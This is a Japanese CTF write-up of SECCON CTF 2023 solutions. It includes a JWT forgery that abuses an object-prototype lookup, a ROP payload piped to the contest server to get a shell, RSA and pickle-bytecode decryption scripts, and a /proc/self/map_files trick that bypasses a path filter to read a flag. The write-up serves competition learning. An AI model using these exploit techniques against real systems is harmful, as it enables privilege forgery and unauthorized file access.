昼間はサイクリングに行っていて、夜からの参加。
国内で決勝進出が10チーム。20チームならともかく10チームは無理だなぁと思っていたけど、結果を見るに後2問くらいということは、ワンチャンくらいはあったのかもしれない。まあ、そのあと2問は簡単ではないだろうが。
7問、613点、79位。
web
Bad JWT
自前実装のJWT。
:
const algorithms = {
hs256: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
hs512: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}
:
const createSignature = (header, payload, secret) => {
const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
const signature = algorithms[header.alg.toLowerCase()](data, secret);
return signature;
}
:
algorithms
には、Object
のメソッドも生えているというのが脆弱性。toLowerCase()
があるので、小文字のみのメソッドでないといけない。constructor
。
{"alg":"constructor","typ":"JWT"}
をBase64変換して、eyJhbGciOiJjb25zdHJ1Y3RvciIsInR5cCI6IkpXVCJ9
。{"isAdmin":true}
は eyJpc0FkbWluIjp0cnVlfQ
。ローカルで動かしてみると、(constructor
に渡して生成される)署名は {"alg":"constructor","typ":"JWT"}{"isAdmin":true}
となっていたので、これをBase64変換して signature
にする。なぜ .
が消えるのだろう。
Cookieの session
に eyJhbGciOiJjb25zdHJ1Y3RvciIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjp0cnVlfQ.eyJhbGciOiJjb25zdHJ1Y3RvciIsInR5cCI6IkpXVCJ9eyJpc0FkbWluIjp0cnVlfQ
を設定するとフラグが得られた。
SECCON{Map_and_Object.prototype.hasOwnproperty_are_good}
SimpleCalc
解けなかった。
eval
で計算しているので、XSSは簡単。CSPのせいで情報が持ち出せない。長いパラメタを突っ込んでHTTP 413でバグらせる非想定解法と、Service Workerを使う想定解法があるらしい。全然思いつかなかった。
pwnable
rop-2.35
The number of ROP gadgets is declining worldwide.
最近のlibc事情は分からない。解けなさそうだが見るだけ見てみるか……。
#include <stdio.h>
#include <stdlib.h>
void main() {
char buf[0x10];
system("echo Enter something:");
gets(buf);
}
デコンパイル結果。
:
0000000000401156 <main>:
401156: f3 0f 1e fa endbr64
40115a: 55 push rbp
40115b: 48 89 e5 mov rbp,rsp
40115e: 48 83 ec 10 sub rsp,0x10
401162: 48 8d 05 9b 0e 00 00 lea rax,[rip+0xe9b] # 402004 <_IO_stdin_used+0x4>
401169: 48 89 c7 mov rdi,rax
40116c: e8 df fe ff ff call 401050 <system@plt>
401171: 48 8d 45 f0 lea rax,[rbp-0x10]
401175: 48 89 c7 mov rdi,rax
401178: b8 00 00 00 00 mov eax,0x0
40117d: e8 de fe ff ff call 401060 <gets@plt>
401182: 90 nop
401183: c9 leave
401184: c3 ret
gets
は引数をそのまま返り値にするので、 ret
の時点で rax
が buf
になる。gets
で書き込む文字列の先頭を /bin/sh\0
にして、401169に飛ばせばいいよね? libc-2.35は何も関係が無いのでは?
で、動かず。sysytem
の引数は "/bin/sh"
になっているのに、
Enter something:
sh: 1: V@: not found
となる。最近導入された何かの緩和策か? そんなわけないだろ……とハマった。
"/bin/sh"
はスタックの上のほうにあるので、 system
の内部で上書きされてしまうのが原因だった。
$ hexdump -C payload
00000000 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 |xxxxxxxxxxxxxxxx|
00000010 2f 62 69 6e 2f 73 68 00 84 11 40 00 00 00 00 00 |/bin/sh...@.....|
00000020 84 11 40 00 00 00 00 00 69 11 40 00 00 00 00 00 |..@.....i.@.....|
00000030 0a |.|
00000031
$ cat payload - | nc rop-2-35.seccon.games 9999
Enter something:
cat flag*
SECCON{i_miss_you_libc_csu_init_:cry:}
Saved RBPを "/bin/sh"
にして、 ret
に2回飛ばすことによってスタックの位置を調整し、system
内部のRBPを保存する処理で、 buf
の先頭に "/bin/sh"
が書き込まれるようにする。
SECCON{i_miss_you_libc_csu_init_:cry:}
crypto
plai_n_rsa
import os
from Crypto.Util.number import bytes_to_long, getPrime
flag = os.getenvb(b"FLAG", b"SECCON{THIS_IS_FAKE}")
assert flag.startswith(b"SECCON{")
m = bytes_to_long(flag)
e = 0x10001
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 65537
phi = (p-1)*(q-1)
d = pow(e, -1, phi)
hint = p+q
c = pow(m,e,n)
print(f"e={e}")
print(f"d={d}")
print(f"hint={hint}")
print(f"c={c}")
$d$ を教えてくれるが、 $n$ を教えてくれないRSA。わざわざ教えてくれるのだから $hint=p+q$ は使うのだろう。$\phi = n-(p+q)+1$ から、$n=\phi+hint-1$。あとは $\phi$ が分かれば良い。
$d = e^{-1} \mod \phi$ なので、 $ed = 1 + k\phi$。$k$ を総当たり。
e=65537
d=15353693384417089838724462548624665131984541847837698089157240133474013117762978616666693401860905655963327632448623455383380954863892476195097282728814827543900228088193570410336161860174277615946002137912428944732371746227020712674976297289176836843640091584337495338101474604288961147324379580088173382908779460843227208627086880126290639711592345543346940221730622306467346257744243136122427524303881976859137700891744052274657401050973668524557242083584193692826433940069148960314888969312277717419260452255851900683129483765765679159138030020213831221144899328188412603141096814132194067023700444075607645059793
hint=275283221549738046345918168846641811313380618998221352140350570432714307281165805636851656302966169945585002477544100664479545771828799856955454062819317543203364336967894150765237798162853443692451109345096413650403488959887587524671632723079836454946011490118632739774018505384238035279207770245283729785148
c=8886475661097818039066941589615421186081120873494216719709365309402150643930242604194319283606485508450705024002429584410440203415990175581398430415621156767275792997271367757163480361466096219943197979148150607711332505026324163525477415452796059295609690271141521528116799770835194738989305897474856228866459232100638048610347607923061496926398910241473920007677045790186229028825033878826280815810993961703594770572708574523213733640930273501406675234173813473008872562157659306181281292203417508382016007143058555525203094236927290804729068748715105735023514403359232769760857994195163746288848235503985114734813
from Crypto.Util.number import *
phi = e*d-1
for k in range(1, 0x20000):
if phi%k==0:
n = phi//k+hint-1
m = pow(c, d, n)
try:
print(long_to_bytes(m).decode())
except:
pass
$ python3 solve.py
SECCON{thank_you_for_finding_my_n!!!_GOOD_LUCK_IN_SECCON_CTF}
SECCON{thank_you_for_finding_my_n!!!_GOOD_LUCK_IN_SECCON_CTF}
RSA 4.0
解けなかった。
import os
from Crypto.Util.number import bytes_to_long, getStrongPrime
m = bytes_to_long(os.getenvb(b"FLAG", b"FAKEFLAG{THIS_IS_FAKE}"))
e = 0x10001
p = getStrongPrime(1024, e=e)
q = getStrongPrime(1024, e=e)
n = p * q
assert m < n
Q = QuaternionAlgebra(Zmod(n), -1, -1)
i, j, k = Q.gens()
enc = (
1 * m
+ (3 * m + 1 * p + 337 * q) * i
+ (3 * m + 13 * p + 37 * q) * j
+ (7 * m + 133 * p + 7 * q) * k
) ** e
print(f"{n = }")
print(f"{e = }")
print(f"{enc = }")
4.0が何なのかと思ったら、四元数を使ったRSA。計算中に $pq$ が出てくると、 $\mod n$ では $0$ になって消えて、それで何とかなるのかな。
sandbox
crabox
せめて、warmupは全て解きたい……と思ったが、解けなかった。
fn main() {
{{YOUR_PROGRAM}}
/* Steal me: {{FLAG}} */
}
このRustコードをコンパイルして、コンパイルが通ったかどうかを教えてくれる。
Rustにはマクロがあるので、こういうことでしょ?
fn main() {
}
# 関数本文のx文字目がyならばコンパイルを通すような check マクロの定義
[#check]
fn f() {
/* Steal me: {{FLAG}} */
}
Rustは全然分からないんだよな。ChatGPTさんお願いします!!! GPT-3.5だといまいち話が通じないので、20ドル払って、GPT-4にした。
なんか良さそうな気がする! 追加の依存ライブラリ? クレート? があるけど、その辺はまあ何とか書き換えられるだろ。
で、試してみたら、同じクレート? ファイル? にあるのはNGと言われた。ChatGPTに聞いても別クレートにしろと言われるだけ。20ドル払ったのに解けなくて悲しい。
$ rustc test.rs
error: can't use a procedural macro from the same crate that defines it
--> test.rs:25:3
|
25 | #[check]
| ^^^^^
reversing
jumpout
データ領域に飛んでいて(?)Ghidraだと解析しきれないし、GDBも何か動かない。
uint FUN_00101360(uint param_1,uint param_2)
{
long in_FS_OFFSET;
if (*(long *)(in_FS_OFFSET + 0x28) != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail((long)(int)param_2,param_2,7);
}
return param_1 ^ param_2 ^ 0x55 ^ (uint)(byte)(&DAT_00104010)[(int)param_2];
}
というコードを見つけて、 DAT_00104010
のあたりをダンプしてみると、こうなっていた。
00003000 00 00 00 00 00 00 00 00 08 40 00 00 00 00 00 00 |.........@......|
00003010 f6 f5 31 c8 81 15 14 68 f6 35 e5 3e 82 09 ca f1 |..1....h.5.>....|
00003020 8a a9 df df 33 2a 6d 81 f5 a6 85 df 17 00 00 00 |....3*m.........|
00003030 f0 e4 25 dd 9f 0b 3c 50 de 04 ca 3f af 30 f3 c7 |..%...<P...?.0..|
00003040 aa b2 fd ef 17 18 57 b4 d0 8f b8 f4 23 00 47 43 |......W.....#.GC|
00003050 43 3a 20 28 55 62 75 6e 74 75 20 31 31 2e 34 2e |C: (Ubuntu 11.4.|
直後の3030にxorを取ったら良い感じになりそうなデータがあるので、これが param1
かな?
A = [
0xf6, 0xf5, 0x31, 0xc8, 0x81, 0x15, 0x14, 0x68, 0xf6, 0x35, 0xe5, 0x3e, 0x82, 0x09, 0xca, 0xf1,
0x8a, 0xa9, 0xdf, 0xdf, 0x33, 0x2a, 0x6d, 0x81, 0xf5, 0xa6, 0x85, 0xdf, 0x17,
]
B = [
0xf0, 0xe4, 0x25, 0xdd, 0x9f, 0x0b, 0x3c, 0x50, 0xde, 0x04, 0xca, 0x3f, 0xaf, 0x30, 0xf3, 0xc7,
0xaa, 0xb2, 0xfd, 0xef, 0x17, 0x18, 0x57, 0xb4, 0xd0, 0x8f, 0xb8, 0xf4, 0x23,
]
ans = ""
for i in range(len(A)):
ans += chr(A[i]^B[i]^0x55^i)
print(ans)
$ python3 solve.py
SECCON{jump_table_everywhere}
Sickle
Pickle infected with COVID-19
import pickle, io
payload = b'\x8c\x08builtins\x8c\x07getattr\x93\x942\x8c\x08builtins\x8c\x05input\x93\x8c\x06FLAG> \x85R\x8c\x06encode\x86R)R\x940g0\n\x8c\x08builtins\x8c\x04dict\x93\x8c\x03get\x86R\x8c\x08builtins\x8c\x07globals\x93)R\x8c\x01f\x86R\x8c\x04seek\x86R\x94g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__add__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__mul__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x06__eq__\x86R\x940g3\ng5\n\x8c\x08builtins\x8c\x03len\x93g1\n\x85RM@\x00\x86RM\x05\x01\x86R\x85R.0g0\ng1\n\x8c\x0b__getitem__\x86R\x940M\x00\x00\x940g2\ng3\ng0\ng6\ng7\n\x85R\x8c\x06__le__\x86RM\x7f\x00\x85RMJ\x01\x86R\x85R.0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM@\x00\x86RMU\x00\x86RM"\x01\x86R\x85R0g0\ng0\n]\x94\x8c\x06append\x86R\x940g8\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\nfrom_bytes\x86R\x940M\x00\x00p7\n0g9\ng11\ng6\n\x8c\x08builtins\x8c\x05slice\x93g4\ng7\nM\x08\x00\x86Rg4\ng3\ng7\nM\x01\x00\x86RM\x08\x00\x86R\x86R\x85R\x8c\x06little\x86R\x85R0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RMw\x00\x86RM\xc9\x01\x86R\x85R0g0\n]\x94\x8c\x06append\x86R\x940g0\ng12\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__xor__\x86R\x940I1244422970072434993\n\x940M\x00\x00p7\n0g13\n\x8c\x08builtins\x8c\x03pow\x93g15\ng10\ng7\n\x85Rg16\n\x86RI65537\nI18446744073709551557\n\x87R\x85R0g14\ng7\n\x85Rp16\n0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RM\x83\x00\x86RM\xa7\x02\x86R\x85R0g0\ng12\n\x8c\x06__eq__\x86R(I8215359690687096682\nI1862662588367509514\nI8350772864914849965\nI11616510986494699232\nI3711648467207374797\nI9722127090168848805\nI16780197523811627561\nI18138828537077112905\nl\x85R.'
f = io.BytesIO(payload)
res = pickle.load(f)
if isinstance(res, bool) and res:
print("Congratulations!!")
else:
print("Nope")
Pickleしたものは pickletools.dis
で逆アセンブルできる。
でも、途中の STOP
で切れる。切れたところまでを見るに、 f.seek
で STOP
を飛ばしているっぽい。同じようなことを繰り返しているが、その先を無理矢理読もうとしても上手く行かなかった。 pickletools.dis
はスタックの状態やメモ(?)の状態をちゃんと見ていて、おかしくなるとエラーになる。そういうチェックは要らないから、単に逆アセンブルだけしてほしいのだが……。
pickletools.genops
だと少しマシだった。 STOP
では止まり、スタックの状態も見ているが、メモ(?)はスルーされた。
>>> for x in pickletools.genops(payload.replace(b".", b"\x85")):
... print(x[2], x[0].name, x[1])
0 SHORT_BINUNICODE builtins
10 SHORT_BINUNICODE getattr
19 STACK_GLOBAL None
20 MEMOIZE None
:
827 REDUCE None
828 MARK None
829 INT 8215359690687096682
850 INT 1862662588367509514
871 INT 8350772864914849965
892 INT 11616510986494699232
914 INT 3711648467207374797
935 INT 9722127090168848805
956 INT 16780197523811627561
978 INT 18138828537077112905
1000 LIST None
1001 TUPLE1 None
1002 REDUCE None
1003 TUPLE1 None
ちゃんと解析していないけれど、この辺を見て、こんな感じかな? で解けた。
:
636 STACK_GLOBAL None
637 SHORT_BINUNICODE __xor__
646 TUPLE2 None
647 REDUCE None
648 MEMOIZE None
649 POP None
650 INT 1244422970072434993
671 MEMOIZE None
:
684 SHORT_BINUNICODE builtins
694 SHORT_BINUNICODE pow
699 STACK_GLOBAL None
700 GET 15
704 GET 10
708 GET 7
711 TUPLE1 None
712 REDUCE None
713 GET 16
717 TUPLE2 None
718 REDUCE None
719 INT 65537
726 INT 18446744073709551557
748 TUPLE3 None
:
e = 65537
n = 18446744073709551557
C = [
8215359690687096682,
1862662588367509514,
8350772864914849965,
11616510986494699232,
3711648467207374797,
9722127090168848805,
16780197523811627561,
18138828537077112905,
]
from Crypto.Util.number import *
flag = ""
d = pow(e, -1, n-1)
x = 1244422970072434993
for c in C:
flag += long_to_bytes(pow(c, d, n)^x).decode()[::-1]
x = c
print(flag)
$ python3 solve.py
SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecode??}
SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecode??}
Perfect Blu
解けなかった。
問題名が格好良くて覗いてみたら、BluはBlu-rayのBluだった。なるほど。
misc
readme 2023
import mmap
import os
import signal
signal.alarm(60)
try:
f = open("./flag.txt", "r")
mm = mmap.mmap(f.fileno(), 0, prot=mmap.PROT_READ)
except FileNotFoundError:
print("[-] Flag does not exist")
exit(1)
while True:
path = input("path: ")
if 'flag.txt' in path:
print("[-] Path not allowed")
exit(1)
elif 'fd' in path:
print("[-] No more fd trick ;)")
exit(1)
with open(os.path.realpath(path), "rb") as f:
print(f.read(0x100))
どうせprocfsだろうと探すと、mmapしたファイルは /proc/self/map_files/7f65be843000-7f65be844000 などで読める。ただし、アドレスはランダム化されている。
/proc/self/maps にアドレスが書かれているものの、先頭256バイトには無い。
55fd53241000-55fd53242000 r--p 00000000 08:40 2252586 /usr/local/bin/python3.11
55fd53242000-55fd53243000 r-xp 00001000 08:40 2252586 /usr/local/bin/python3.11
55fd53243000-55fd53244000 r--p 00002000 08:40 2252586 /usr/local/bin/python3.11
:
7f65be661000-7f65be687000 r--p 00000000 08:40 2241564 /usr/lib/x86_64-linux-gnu/libc.so.6
7f65be687000-7f65be7dc000 r-xp 00026000 08:40 2241564 /usr/lib/x86_64-linux-gnu/libc.so.6
7f65be7dc000-7f65be82f000 r--p 0017b000 08:40 2241564 /usr/lib/x86_64-linux-gnu/libc.so.6
7f65be82f000-7f65be833000 r--p 001ce000 08:40 2241564 /usr/lib/x86_64-linux-gnu/libc.so.6
7f65be833000-7f65be835000 rw-p 001d2000 08:40 2241564 /usr/lib/x86_64-linux-gnu/libc.so.6
7f65be835000-7f65be842000 rw-p 00000000 00:00 0
7f65be843000-7f65be844000 r--s 00000000 08:40 2240616 /home/ctf/flag.txt
7f65be844000-7f65be932000 r--p 00000000 08:40 2252783 /usr/local/lib/libpython3.11.so.1.0
7f65be932000-7f65beae6000 r-xp 000ee000 08:40 2252783 /usr/local/lib/libpython3.11.so.1.0
7f65beae6000-7f65bebc9000 r--p 002a2000 08:40 2252783 /usr/local/lib/libpython3.11.so.1.0
7f65bebc9000-7f65bebf8000 r--p 00384000 08:40 2252783 /usr/local/lib/libpython3.11.so.1.0
7f65bebf8000-7f65bed29000 rw-p 003b3000 08:40 2252783 /usr/local/lib/libpython3.11.so.1.0
他に何か無いか探すと、 /proc/self/syscall にlibcのアドレスが書かれていた。このアドレスと flag.txt がmmapされたアドレスのオフセットは固定だろう。
0 0x0 0x55fd552d3590 0x2000 0x2 0x0 0x0 0x7fff0d7d1848 0x7f65be75907d
ローカルで動かして差分を計算すると、0xe9f83。
$ nc readme-2023.seccon.games 2023
path: /proc/self/syscall
b'0 0x7 0x560231b766b0 0x400 0x2 0x0 0x0 0x7ffdca68cdf8 0x7f616367107d\n'
path: /proc/self/map_files/7f616375b000-7f616375c000
b'SECCON{y3t_4n0th3r_pr0cf5_tr1ck:)}\n'
path: ^C
SECCON{y3t_4n0th3r_pr0cf5_tr1ck:)}
welcome
Welcome
いつものDiscord。
SECCON{Welcome_to_SECCON_CTF_2023}